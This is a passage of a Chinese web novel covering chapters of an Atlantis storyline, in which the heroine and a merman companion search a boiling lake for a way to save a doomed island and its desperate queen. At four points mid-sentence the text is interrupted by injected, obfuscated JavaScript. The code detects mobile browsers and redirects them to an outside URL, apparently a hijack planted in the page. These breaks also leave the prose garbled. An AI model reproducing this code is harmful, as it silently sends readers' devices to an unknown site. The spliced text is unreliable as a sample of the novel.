露娜扔开康莱德的下巴,将他的脸甩到一边,起身回头,像什么也没发生一样问言笑,“你能想出办法救阿特拉斯吗?” 办法也不是天上掉下来的。言笑被问得傻眼,支支吾吾,“这,我,那,你……外面雨下好大,短时间内应该不会有地狱之火。你先别急,我们一起想办法。” 露娜平静道:“雨是人鱼降的。你写下来的是降雨咒语,需要人鱼念诵。一旦地狱之火蔓延,人鱼族也会受到波及。所以人鱼帮我降了这场雨,用于暂时遏制地狱之火。” 言笑环顾一圈,“人鱼需要念多久,他们需要一直念才能降雨吗?” 露娜看出言笑心思,直接答她,“首领的几只在莲花池子里。不需要一直念,但雨停就需要重新念。” 李开心说:“我去和他们聊聊。” 李开心出去见人鱼,言笑在殿里给露娜磨破的脚趾上药。不过十来分钟,李开心回来,跟露娜说:“我们要再下一次大湖。” 言笑收好纱布,左右问李开心与露娜,“以前下过吗?” “下过。”露娜仍在地上坐着,把脚缩进裙摆,“人鱼下的。里面什么都没有。” 言笑又道:“如果大湖真的是火山口,下去也太危险了。万一火山喷发怎么办?” 李开心说:“没有其他办法。” 言笑与李开心对视,心中明白确实如此,于是点点头,“我和你们一起下去。” 李开心不假思索否定她的提议,“不行。” “我一定要下去。”言笑坚持道:“别忘了在薇拉的预言里,你和我都是必要条件。或许我能看到其他人看不到的东西。” 阿特拉斯生死存亡迫在眉睫,众人当即动身前往大湖。马蹄踩了一路泥泞,前一场雨逐渐过去。言笑不会骑马,只能由李开心带着同乘一骑。既下河又淋雨,言笑打了个惊天动地的喷嚏,擦擦鼻子,问身后的人,“哎,说实话,你跟薇拉要了件这么长的衣服,是不是随时准备砍尾巴跑路?” 李开心收收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971694|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缰绳,还得时刻提防身前的言笑别掉下马,“我哪知道我的体质和真正的人鱼是不是一样,万一突然变回去怎么办?” 言笑心中感叹:这得是被泡泡坑过多少次,还挺有经验。 到达湖边时恰是夜色最深的光景,言笑拎着灯,躲在露娜与李开心身后,悄悄打量那几位人鱼首领。绝大多数人鱼长着灰色长尾,唯独其中一只尾巴是墨绿色的,鳞片浓郁闪光如同水波流淌。那只人鱼会说一点人类语言,嗓音生硬低哑,好在大致表达不成问题,足够与露娜和李开心对话。 雨已全然停下,空气明显燥热起来。人鱼们本打算抵达后立刻潜入湖里,见此决定先降一次雨。顷刻大雨如瀑,言笑让侍从打伞,在一旁闷声鼓捣露娜为她准备的水肺。 “你别逞强,”李开心说:“撑不住就告诉我,我带你出来。” 言笑不服,小声哼道:“有尾巴了不起啊?我会游泳,上次沉下去是那水有问题。” 人鱼的念诵如同一曲悲伤歌谣,缓慢,低沉,抑扬顿挫。言笑呆呆听了会儿,扭头问李开心,“你尾巴都长出来了,会说人鱼语吗?” 李开心答道:“我只是长了尾巴,不是长了脑子。” 行吧。有理有据,使人信服。 一跃入水,湖水顷刻没顶,李开心握着言笑的手腕,带她向湖底潜入。人鱼的尾鳞能发出微光,然而湖中太黑,墨绿与浅灰都不明显,只有李开心一条迤逦长尾亮得扎眼。反正有李开心拽着,不用费劲蹬腿划水,言笑悄悄摸了摸那银白尾巴,滑溜溜的。 李开心提着灯,回头看她。 言笑立刻抬头,假装在看头顶的一丛水草。 湖下深黑如墨,光源只有提灯与人鱼尾鳞,稀稀拉拉,照明范围十分有限。眼见已近湖底,灰尾人鱼四散开去,各自探寻信息,只留墨绿尾巴与言笑和李开心在中心区域打转。 周围不见鱼类,浮游生物大约有些,湖底一层滑腻腻的水藻与水草,踩得言笑脚底一歪——李开心拎着她,而且毕竟有浮力,言笑也不可能滑倒,就是深一脚浅一脚心里没底。为了方便沉水,言笑在脚踝绑了负重,再怎么说也没长尾巴,言笑来到湖底也本能保持行走习惯。 突然脚尖一扫,踢到什么东西。 言笑拽拽李开心,示意他停下,同时继续拿脚尖探着,感觉出这东西长长一道,沉重如铁,像是有一部分嵌在湖底,怪不得长尾巴的那些都没发现。 言笑一通乱拔,将那东西上缚的水草拔个精光,摸了半天,总算摸出端倪。 那是一条锁链,大概半米粗细。再往湖底中心方向摸索,自中心处竟共向八方延伸出八条锁链! 墨绿尾巴发出一声哨音,其他人鱼纷纷聚集过来。言笑正在想应该如何告诉人鱼注意观察湖底与湖壁,湖底突然猛烈震颤!水温急剧上升,言笑热得喘不过气,在被震动激起的脏污淤泥之中,言笑骤然看见一双眼睛。 巨大的、猩红的眼睛。有瞳孔,有虹膜。 她正站在这个东西的背上。 这个怪物,驮起了整座湖。 20. 阿特拉斯08 墨绿尾巴发出一声急促哨音,灰尾人鱼当即向水面游去,污泥漂浮之中,星星点点的尾鳞亮光因为视觉残留而显现出蜿蜒晶莹的弧线。随即墨绿尾巴与李开心一边一个,解开言笑脚上负重,又拎住言笑肩膀,闪电一般急速上浮。言笑被水压冲击得眼花,短暂的头晕目眩过后,言笑猛一抬头,呼吸到空气的同时被暴雨打了一头一脸。 暴雨猛烈,水汽森森。 众人返回王宫,李开心跟露娜要来大湖近几十年来发生异动的记录,试图计算湖底怪物的活动规律,以后万一需要下湖还用得上。连日大雨影响农耕,露娜与众人鱼商议过后决定暂时停雨几天。难得云销雨霁,百姓纷纷涌入神庙祈福,近日阿特拉斯动荡不歇,为安抚民心,露娜前去神庙分发瓜果,以神的名义给百姓赐福。 言笑咔嚓咔嚓啃苹果,远远望着露娜,愁眉苦脸,“这可怎么办啊?” “在泡泡里什么事情都可能发生。”李开心正翻开一本《阿特拉斯古今传奇》,逐字研读,“既来之则安之。” 虽然李开心笃信泡泡不会要他们的命,可说实在的,言笑心里完全没底。一个特简单的逻辑——如果和她长着同一张脸的人都还健在,这活儿哪能轮到她头上? 越想越不是那么回事。人生当中很多事就不能细想。 送走一批百姓,露娜回到神庙后方休息。言笑早就注意到露娜很喜欢穿海蓝色的裙子,这让她看上去像一条小美人鱼,纯真热烈。言笑始终记得第一眼看到露娜时她的模样,如同带着剔透露珠的新鲜鸢尾花,颜色分明,美得灼人。然而不过几天工夫,鸢尾的躯壳还在,内里却仿佛烧了一把火,迅速垮塌衰败。 神庙传来吵嚷。露娜睁开疲惫的眼,问侍从发生了什么。 片刻,侍从过来回话,手中端着托盘,里面放了一只黄铜怀表。“有个年轻猎人悄悄拿走供桌底下的怀表,人赃俱获。他非说这是他家的东西,还说是他太太爷爷送给他太太奶奶的。” 怀表古老陈旧,表壳上刻着花体字母W。露娜随手拎起表链,试图从其中的陈旧外壳里翻出一点记忆,然而记忆告罄,这怀表似乎并没什么独一无二的意味。露娜放下怀表,重新闭上眼睛,“把人放了,让他拿走吧。” 侍从为难道:“公……国王,这可能不太合规矩。” “没事。悄悄的,以免他人效仿。” 侍从领命,退下了。 言笑扔掉果核,擦了擦手,“你有没有想过,如果地狱之火注定吞噬岛屿,你打算怎么办?” 露娜仍在闭目养神,食指撑着太阳穴,“我早年派人制造过十艘大船。现在这些大船就停靠在岛屿边缘。按最高承载量计算,可以带走岛上十分之一的人。” “那剩下的十分之九呢?” “我会陪他们一起葬身火海。” 言笑忽然感觉露娜可能只是看着正常,实际上早就疯了。 地动愈发频繁,露娜下令在外的大批军队不许回岛,无论以何理由回来,格杀勿论。天气也愈发燥热,言笑在大湖边上,把手伸进湖水试水温,水温和体温差不多。人鱼每天都要降雨,也每天都要下湖。李开心不让言笑下湖,说言笑可以等他们发现线索以后再下去,言笑就让人撑个棚子在湖边等着,看李开心从藏书阁里翻出来的那本《阿特拉斯古今传奇》。 那书有将近二十厘米厚,木头封面,重得要命,挥舞起来足够把人砸昏。纵使李开心的眼睛和扫描仪差不多,数天下来也没能扫描完毕,言笑就在李开心忙着的时候帮忙看几页,聊胜于无。再怎么也已经在阿特拉斯待了几天,虽然言笑依然无法完全看懂书中文字,可联系上下文猜个大概不成问题,不至于错过有效信息。书中字迹甚密,连插图上也密密麻麻标满注释,言笑看得脑瓜子疼,勉强拿树桠拄着下巴支住脑袋。正看到诸神创世,海神建立阿特拉斯,忽然听见咕嘟咕嘟的泡泡声音,像是什么东西在沸腾。 言笑立刻跳了起来,紧赶几步跑上大湖边,低头一看,惊得吸气。 湖水竟然真的在沸腾! 言笑动作比脑子快,直接伸手探水。幸亏幸亏,水温虽然高于体温,却也远没到沸点。人鱼们游得快,只要赶紧上来也不至于出事。哪想不过刹那,忽而地动山摇,湖边悬铃木簌簌地剧烈颤动,碎石哗啦啦滚落山坡。 “李开心!”言笑向着湖面大喊,脚步趔趄,只好蹲下降低重心,“快出来啊!” 以言笑对人鱼的了解,这几秒钟足够他们自湖底潜游上来,他们不肯出水只可能有一个原因——他们不想。今日人鱼入水的时间比以往都长,也不知他们是不是发现了什么,可这次地动比言笑以往经历过的数次都更加猛烈,难说湖底怪物会不会暴起伤人。 大地又是一震,地表之下似乎发出地壳龟裂的闷响与嗡鸣,仿佛游离在人耳听力频率范围之外,却如细针扎在耳下,令人耳底剧痛,脑中昏沉。湖水突然被高高抛起,十数米高的湖浪翻腾,卷起白色泡沫,劈头盖脸砸向岸边。 “哎呦我——”言笑扭头就跑,可哪跑得赢洪水急流,倾轧下来的浪墙重重拍向言笑的后脑与后背,拍得言笑眼前全是马赛克,张嘴想骂,咕嘟嘟吐出一串气泡。 ——去。 言笑四肢乱划,手脚并用,可急流自山顶冲刷而下,言笑完全无法靠划水掌控方向,刚翻了个个儿,后背咚地撞树。这一下撞得不轻,言笑登时手脚发麻,再使不出力气,眼看要被水流推向另一棵树,忽然一双大手揽住言笑的腰。 言笑被捞出水面,总算在恍惚中恢复稀薄的呼吸。 “言笑,言笑?” 视线时而清晰时而模糊,言笑头昏眼花,勉强能意识到眼前的人是谁,抓救命稻草似的死死扒在对方身上,“我叫你你怎么不出来?” 急流依旧未停。李开心背靠悬铃木,单手搂着言笑,“我不出来你就不跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976910|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 言笑心里不服。跑有什么用?这么猛的大水,早一秒冲走晚一秒冲走的区别而已。“那你怎么不给我渡气了?我差点儿呛死。” 李开心无语片刻,“水这么浅,渡什么气?” 言笑低头一看,这才发现水只到她腰。银白长尾将身后悬铃木缠了一圈,尾巴尖儿挥出水面,湿漉漉的,掉秃了近半鳞片。 “呀!”言笑叫了一声,“你尾巴怎么了?” 李开心腰部鳞片还算完整,但整条尾巴自下三分之一处起开始稀稀拉拉地掉鳞,越近尾尖掉得越多,有些区域甚至露出红彤彤的肉来。 “没事。”李开心轻描淡写,停顿一下,又补充道:“烫的。” 人鱼适应冷水,实际上近来湖水的水温已经高于人鱼的舒适温度,可寻找救岛之法迫在眉睫,众人鱼这才勉强忍耐。今日突发地动,湖水温度暴涨,超过了人鱼的承受极限,李开心这才被烫得掉鳞。 “过来过来,”言笑勾勾手,“给我看看。” 空气中的尾巴尖儿颤动两下,半天,才犹犹豫豫往前腾挪,递到言笑手里。 确实热乎,这鱼尾巴像是快熟了。言笑小心翼翼摸着,突然抬头叫他,“李开心。” “嗯?” “你喜欢我吗?” 这问题来得太突然,岛顶急流也未停止,李开心一时拿不准要不要撒手把她扔开。刚犹豫一秒,追问纷至沓来,“说啊你,你喜欢我吗?别以为不出声就没事儿,说话。” 问都问了,现在再撒手也来不及了。 李开心说:“不可说。” 言笑无法理解这个回答,满心郁闷,“什么叫‘不可说’?” 李开心不答。 言笑这时候缓过来了,眼看得清脚站得稳,可偏就不松手,吊在李开心身上,“这问题还需要想怎么?喜欢就喜欢,不喜欢就不喜欢,痛快点儿。” 李开心说:“不能想。”随后放开言笑,“走吧,先回王宫。我们发现了一些东西。” 人鱼清理了湖底水草,终于在湖底发现字迹:如同巨大的手执着石头凿写一般,字迹遍布整个湖底,有些沟壑尚还存在,有些却已经被湖水的千年浸润填平。 王宫深处,烛火环绕,李开心将湖底字迹默写在羊皮纸上,展示给露娜、言笑、以及墨绿尾巴的人鱼首领卡菲,“我们清理过的区域大概占湖底的六分之一,而这六分之一的内容里,有将近三分之二模糊不清。我已经还原了所有能够还原的笔画,至于这些话应该如何填补完整,就不是我能完成的任务了。” 是人鱼语。 众人齐齐向卡菲看去。卡菲仔细看了羊皮纸上的内容复刻,“看不懂。有效信息太少,可能有千万种意思。” 李开心将羽毛笔递给言笑。言笑顺手接过,问他,“干什么?” 李开心紧盯言笑,一字一顿道:“你来把这些笔画补充完整。” 21. 阿特拉斯09 言笑惊了两秒,脸上写着:你有病吧? 阿特拉斯的文字都没整明白,就拿人鱼语给她上强度。这题委实超纲。 李开心说:“我在预言当中的部分已经完成了,我发现了湖底的字迹。那么,剩下的就是你的部分。” 人鱼语全是勾勾划划,爪子在沙滩上扒拉出来的一样。言笑毫无头绪,看得眼珠子疼,“预言里就不能有废柴吗——或者气氛组?” 地动过后湖水温度上升,人鱼再也无法下潜。薇拉告诉露娜,或许是时候安排百姓撤离阿特拉斯岛了,因为她感觉得到背后像有火焰烘烤,地狱之火正在越来越近。而露娜建造的大船一旦驶离岛屿,或许来不及到达其他大陆再折返回来,岛屿就会被地狱之火吞噬,她救不了所有人。 “能救多少算多少吧。” 露娜平静接受了只有十分之一子民能够逃出生天的现实,迅速安排百姓撤离。为防暴动,由头只说阿特拉斯近年地动频繁,祭司预言地动还将持续几年,大家分批撤离即可。 百姓议论纷纷,有人质疑露娜小题大做,也有些人争抢着上船,笃信阿特拉斯岛将会覆灭。言笑和李开心帮不上露娜什么,毕竟作为外人不适合干涉内政,于是一连几天在海边帮助百姓搬家,尽量以忙碌代替毫无出路的思考。 小型海啸偶有发生,每次言笑都想扭头就跑,岛民倒是个个心理素质过硬,若无其事各忙各的。渔民们有渔船,若想离岛随时都能离开,大叔大婶却把渔船给了打铁铺子一家老小,自己留在小屋里看逃难的人们每日忙碌。言笑急得心焦,不忍见他们坐以待毙,即使明知无济于事,也忍不住多嘴劝大叔赶快逃生。 大叔磕了磕烟斗,“我们的孩子葬在岛上。是个女儿,只活了三岁。” 这话一出,言笑怎么都没法再劝了。 大叔继续道:“阿特拉斯的军队仍有大批在外。我们再外逃的话,其他大陆的人就活该被我们挤占资源吗?阿特拉斯骁勇善战,文明水平也超出其他大陆许多,如果我们抢占资源,本土的人根本毫无还手之力。” 言笑反问,“如果真是这样,那不正需要你这样的人去做表率、去规训他们的所作所为吗?” 大叔笑了,眯缝眼睛望向铺满晚霞的海,“他们不会听的。他们是大多数,而我才是异己。将在外,军令有所不受,即使公主,哦不,国王下令不许出兵,那些习惯杀伐的武士们也不会忍住躁动。” 大船缓缓离岸。难得有个喘息的空档,言笑与李开心沿着海岸散步。海边的小孩削尖一段竹条,在竹条上插了一小块鱼肉,举高竹条,喂海鸥。言笑悠闲看着,跃跃欲试,“这儿生态环境真好。在现实生活里你见过海吗?” 李开心说:“见过。” “听说海边辐射很强,你不会被辐射影响吗?” “我的基因和正常人类不同。创造我的科学家说她希望我可以在这世界上有最大限度的自由,所以在我的设计当中,机体抗辐射能力超过人类至少一万倍。” 言笑羡慕道:“厉害了。这位科学家一定懂很多东西。” 说话间两人已行至海边密林。言笑在林子里发现一种蘑菇很好吃,每天都要进去捡,李开心就跟王宫里的侍从要了个竹篮子,给言笑装蘑菇用。要在现实生活里,言笑忙些什么时总会放点儿音乐,可泡泡当中终端不好使,言笑采着蘑菇忽然回头,“李开心,你放个歌听听。” “……我身上没装音响。” “那你能放个歌听听吗?” “我不是低端机器人。” “那你能放个歌听听吗? 李开心面无表情,像是死机了,过了几秒开始唱,“红伞伞,白杆杆,吃完躺板板……” 言笑听得脑瓜子嗡嗡的,刚要叫停,忽然一道白光划过眼前,利刃如同葳蕤密林的隐秘骨骼。灌木深处扑出一个身穿兜帽与斗篷的人影,直冲李开心而去。李开心当即闪身避开,那人却也改换攻击方向,两人齐齐倒入草丛,打了个滚。 “哎我去!”言笑惊叫,猛地起身,蘑菇篮子翻了,蘑菇骨碌碌撒了一地。 来人手里拿着一把长刀,可李开心的战斗力不是普通人类可以抗衡的,言笑拿不准需不需要立刻出去叫人,一时站着没动。来人一击不中,当即变更策略,手腕一转,抄刀冲着李开心的尾巴就砍! “李开心!” 言笑尖叫未停,那人已经手起刀落,银白长尾霍然断开,尾尖却仍像能感受到疼痛般剧烈拍动、翻腾着。伤口切面带着淋漓鲜血,上一秒还能看出森然鱼骨,下一秒就已迅速一分为二,化作两条长腿。来人一惊,大概是突然感觉无从下手,李开心没客气,重重一脚踢中那人下巴。 “转过去!”李开心喝道。 言笑下意识立正向后转,转完反应过来,凭什么听他的?刚要再转回去,又听见李开心命令,“不许转回来!” 转回去能看见什么言笑心里有数,即使不服,也不好色胆包天得如此明目张胆,只得小声强词夺理,“你让我背对你们,万一我被偷袭怎么办?” 背后衣料窸窣。等言笑回头,李开心已经扒了那人的裤子穿上。兜帽掀开,是前祭司乔安森。 乔安森潜逃许久,这还是第一次露面。密林外驻守的武士绑走这位曾经一人之下的尊贵前祭司,言笑目送他狼狈离开,看他奋力挣扎,听他癫狂大叫,“杀了海妖,必须杀了海妖!薇拉根本没有合格的预言能力,她只能看到过程,她看不到结果!” 李开心擦净脚上的血,正在低头扣好从乔安森脚上打劫来的靴子。言笑嘶嘶吸气,问他,“疼不疼啊?” “没事。”李开心撕掉沾血的长袍下摆,“我可以把痛觉关上。” 言笑瞳孔地震,“还可以这样?那要是我悄悄捅你一刀你是不是都感觉不到?” 李开心看她一眼,“痛觉有保护功能,正常情况下不会关,我感觉到的和人类相同。” 短暂插曲过去,言笑也没了采蘑菇的心思。乔安森的话一直在耳边回响,言笑忽然想到一种可怕的可能,“你说会不会乔安森说的是对的?毕竟在传说之中,阿特拉斯就是沉入海底的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981060|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李开心抿抿嘴唇,没说话。以言笑对李开心不太了解的了解,言笑觉得这代表他早已考虑到过这种可能。言笑又追问道:“我们现在究竟是在传说里,还是在历史里?阿特拉斯究竟是传说,还是历史?” 李开心说:“不知道。”停顿一下,又说:“没有人知道。” “那我们见到的这些人呢?这些人是虚假的,还是真实存在的?如果他们是真的,我们能救他们却没有救成,我们又该怎么办?” “真与假,只在于你相信什么。” “如果我们真的存在于历史里,我们的所作所为会不会干涉历史,影响现在?” “你也知道,根据诺维科夫自洽性原则,人们无法改变历史,我们的世界是已经被改变过的最终结局。” 言笑语塞片刻,“这是‘原则’,不是‘定理’。你在安慰我。” 李开心不置可否。 侍从突然来报,刚才的地震伴随岩浆喷发,淹没了一个在高处的小村落。言笑难以置信叫道:“怎么可能?刚才的地震明明并不剧烈!” 地震并不剧烈,但岩浆喷发就是发生了。村落在岛屿的另一边,当言笑与李开心匆匆赶到时,露娜正在带领王公大臣们指挥下属救灾。天已黑透,烛火一路点了老远。尘土与风沙中充斥着哭泣与哀嚎,言笑看到熔岩缓缓行进,滚烫的赤红外裹了一层灰黑,所到之处尽被吞噬。听说刚一开始熔岩流动迅速,更高处的村庄转瞬夷为平地,猎犬躁动吠叫,睡得早的老人和孩子悄无声息化作焦土。 百姓流离,满面脏灰。突然有人大喊一声,“阿特拉斯岛要覆灭了!快!快收拾行李去船上抢位置啊!” “是啊,再晚就来不及了!” “凭什么要让国王安排谁先上船,我们就不配活着吗!” “快走!走吧!” 人群顿乱。露娜抹了一把脸上的灰,登高喝道:“谁敢!众将听令,如果有人作乱,当场处死!” 武士团团围住百姓,三叉戟在夜色里反射出凉薄而森然的光。言笑知道露娜比谁都希望她的子民能够活下去,可如果不制止暴乱,百姓为谋生路自相残杀,后果不堪设想。天上突然落雨,言笑仰头看天,黑沉如墨,没有一丝光亮。 是人鱼们。言笑没看到卡菲和他的同伴,却听到了人鱼吟唱,低沉而哀伤。荒烟百里,满目疮痍。言笑喃喃道:“这可怎么办啊。” 露娜回头看她,迟滞许久,忽然扑通跪了下来。 言笑吓得蹦高,蹿到李开心身后躲露娜这一跪,“你你你你干什么——!” 露娜的蕾丝长裙上满是污泥,可她毫不在意地膝行过去,一手抓言笑的手腕,一手攥李开心的衣摆,“求求你们,求求你们救救阿特拉斯。你们想想办法好不好,求求你们救救阿特拉斯。” 言笑想骂露娜是不是疯了,怎么能当着百姓的面跪她,却喉咙一梗,说不出话。那天她躲在守卫的休息处偷吃点心,露娜推门进来,眼睛亮得如同上好的黑珍珠,可她怎么就变成这样。 或许这就是公主成为国王的代价。 22. 阿特拉斯10 马车淌过泥泞,偶尔因碎石而颠簸。天气炎热,连带夜里的雨也沾染上微妙的温度,言笑怔愣许久,才想明白为何这触感如此熟悉。 像眼泪。 马车里露娜正在熟睡,只在角落留了一盏微弱的灯。言笑与李开心分坐车厢两端,沉默无言。言笑觉得眼睛疼,像是被露娜传染了哭,露娜其实是没哭过的,她就好像泪腺被人鱼拿去降了雨,没有一滴眼泪是为自己,也要每滴眼泪都发挥最大作用。 到达宫殿门口时言笑对李开心做了个手势,示意他先不要叫醒露娜。可马车甫一停下,露娜就睁开了眼,言笑遂道:“你进屋去睡会儿吧,也不能一直这么熬着。你要是什么时候突然熬不动了,还怎么救人?” 露娜点点头,下了马车。言笑也早累得全身关节嘎嘣嘎嘣响,正等着进偏殿躺倒,侍从迎上前来,对露娜道:“陛下,按您吩咐,前祭司乔安森已经送过来了,现在就绑在您殿里。” 言笑出声打了个哈欠,心里琢磨露娜还真是不讲究,自己殿里什么人都绑,白瞎王宫里还有监牢。 李开心对言笑说:“走吧,你去睡觉。” 言笑打哈欠打得眼泪汪汪,瞪他,“那你呢?” “我去跟露娜审问乔安森。” “我也去。” “熬夜容易老得快。” “你熬夜不会老吗?” 李开心迟疑一下,“不会。” 言笑歪头想了想,“又是什么基因改造吧?你这个抗老基因能不能借我使使?” “大概不行。”李开心说:“我的DNA不可截取。当年给我编写DNA的科学家将信息加密过,防的就是别人偷盗她的科研成果。” 言笑撇撇嘴,“太抠了。”跟随露娜踏入宫殿。 乔安森被扒了裤子和靴子,衣袍下露出修长且白得反光的双腿,长袜已经踩得满是污泥,上面还沾了一块血渍。 露娜走过去,揪出乔安森嘴里塞的东西——言笑偷摸瞅了一眼,得亏这次塞的不是袜子——自抽屉里拿出一把匕柄镶满钻石的长匕首,熟练抽出利刃,俯身靠近乔安森,将冰凉刀锋贴在他脸上,“说,在你的预言里,你都看到了什么。” 乔安森与露娜对视,一时没有言语,两人相对无言,像两个平静的疯子。俄而,乔安森笑了起来,先是低声哼笑,几乎轻不可闻,随即笑声愈发肆意,逐渐演变为癫狂大笑,“露娜,你救不了阿特拉斯。” 露娜没说话,也没表露出任何情绪,一双眼睛死气沉沉,乔安森脸上却转瞬多出一道血痕。 “王族说自己是神的后人,但当‘神的儿子’屈尊娶了‘人类的女儿’,他们即从此降格并且沾染恶习,这个国家早已无法挽救。露娜啊露娜,你始终都没有明白,薇拉也始终没有明白,是你让这座岛屿沉入海底。” 露娜僵硬地牵动嘴角,“你能看到我将阿特拉斯沉入海底,却没看到如今你自己的处境?” 乔安森还是笑,只是这次没等笑出两声,露娜就突然扔下匕首挽起袖子,结结实实朝乔安森脸上挥了一拳。 乔安森被反绑双手,毫无还手之力。露娜左右开弓,拳拳到肉,看得言笑一激灵,凑近李开心小声吐槽,“她这么能打她还在康莱德面前装柔弱,图什么呢?” 乔安森始终不肯吐露半分他的真正预言,终于被露娜打昏过去。露娜起身,将额前垂下的头发挽到耳后,拿起一方丝巾擦净手上的血,回身对言笑与李开心笑笑,“我可真羡慕我哥哥,被我绑起来之后就不需要承受这一切了。” 丝绒床帘之后传来压抑的闷哼,估计袜子还在嘴里。露娜俯身捡起匕首,朝向红木床架用力掷过去,“咚”的一声利刃入木,床帘之后立刻安静下来。 “闭嘴。”露娜说。 薇拉跌跌撞撞闯入殿中,满身雨水,一改平日寡言木讷的模样,拼尽全力嘶声大喊,“陛下!陛下!再有三个小时将会发生史无前例的大地震,阿特拉斯要保不住了!” 王宫里有个地震仪,预测不算精准,从前的地动大概只能预见一半。可这次地震仪咣啷咣啷震得快要散架,并且不止如此,薇拉看见了地震仪背后的火光。 露娜问她,“前面几艘船走到哪里了,一条都回不来吗?” 整座宫殿陷入沉默。 最后一艘大船已在岩浆喷发后不久离岸,整座岛上的人再也没有救命稻草。 露娜光脚坐在地上。原本光亮如丝绸的长发沾染灰尘,又被雨淋过,一绺一绺贴在露娜颊边,这让她看起来像个被弄脏的破布娃娃。破布娃娃木然地一根一根揪着头发,冷静得让言笑觉得骇人,没过多久她手里就缠了一团发丝,如同能勒死人的纤细锁链。许久,露娜道:“我还留了两艘小船。薇拉,带你哥哥走吧,还有你的家人。另一艘船——” 露娜机械地转过了脸,像是娃娃的脑袋可以任意转动,身体却保持不变,只有脖子扭出诡异的角度,“给你们两个。你们本就不属于阿特拉斯,也不应该承受阿特拉斯的宿命。” 言笑问道:“那你呢?” 答案不言自明。露娜早就说过,她会随阿特拉斯一起沉入海底。露娜这话不是戏言,言笑从来都知道,只是曾经她是露娜的希望,最后却还是让她失望了。 言笑深呼吸几个来回,努力提着起一口气,拔高嗓音,迫使自己亢奋着拼命摇晃露娜肩膀,“你打起精神好不好,你还有三个小时呢!我们还有时间,我们还能想出办法——还记得吗,阿特拉斯的国王陛下,你终将灿烂辉煌,你是这世间的太阳!” 这是言笑第一次见到露娜时,露娜念出的话本台词。空洞眼神终于被唤醒几分神采,露娜看着言笑,突然笑了,只是眼里的哀伤还没扭转过来,所以只能又笑又哭。露娜头上的金饰比从前当公主时还要多、还要重。言笑知道露娜从不是会被这座华美王宫束缚的人,她叛逆而自由,但她不够自私,不自私的人很难活太久。她将生命燃烧成火焰,执拗,疯狂,热烈而滚烫,如果她注定只能沉入海底,言笑会无比痛恨自己无法改变她的结局。 露娜撩开床帘,倾身过去,跪在床上拽出康莱德口中的袜子。康莱德被堵嘴太久,嗓音沙哑,七窍生烟地质问她,“你让他们都走,那我呢?” 露娜握住康莱德的脸,与他近乎额头相贴,“如果你逃出去,你会集结在外的军队,继续无休无止的战争。我们死在一起吧,哥哥。我们一起死,好不好?” “你,你,”康莱德想挣开,可被五花大绑着,连手都抽不出来,“露娜你疯了!” 露娜忽然变了脸色,伸手卡住康莱德的脖子,“我没有疯,只是你一直都低估了我。” 康莱德被扼住喉结,终于不再挣动,眼中倏忽飘过一丝凄凉,也或许是难以言说的无奈,“看看今天你所能做到的,妹妹,我从来不曾低估过你。” 薇拉正在费力地将乔安森拽出宫殿,李开心过去帮她扛人。言笑不知道要如何面对露娜,只好漫无目的尾随李开心,走到宫殿门口停下,又远远望向莲花池子。雨不知什么时候停了,独角兽在池边站着睡觉,池面灼灼闪光,那是人鱼的眼睛。 李开心送走薇拉与乔安森后折返回来。言笑在殿前抱头坐着,想哭又没有眼泪,只觉得眼睛干涩得生疼,像是有火把眼珠烧得燥热。 李开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012396|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心走到言笑身前,站得比她低了几个台阶,蹲下,仰头看她,“别怕。我不会让你死的。” 只要还在泡泡里,言笑就愿意相信李开心的任何话,只是此时此刻她想要的并不仅是她与李开心的存活,像是露娜的一小撮灵魂附着在了她身上,她痛苦也煎熬,她想救阿特拉斯。 “那阿特拉斯呢,阿特拉斯怎么办?”言笑胸口憋闷,几乎要喘不上气,“刚遇到露娜的时候我觉得我们很像,一定能玩到一起,可她怎么就变得那么快,她怎么就变成现在这个样子?或许她一直很痛苦吧,我想保护她,我想保护阿特拉斯,可我太没用,我什么都做不了。” 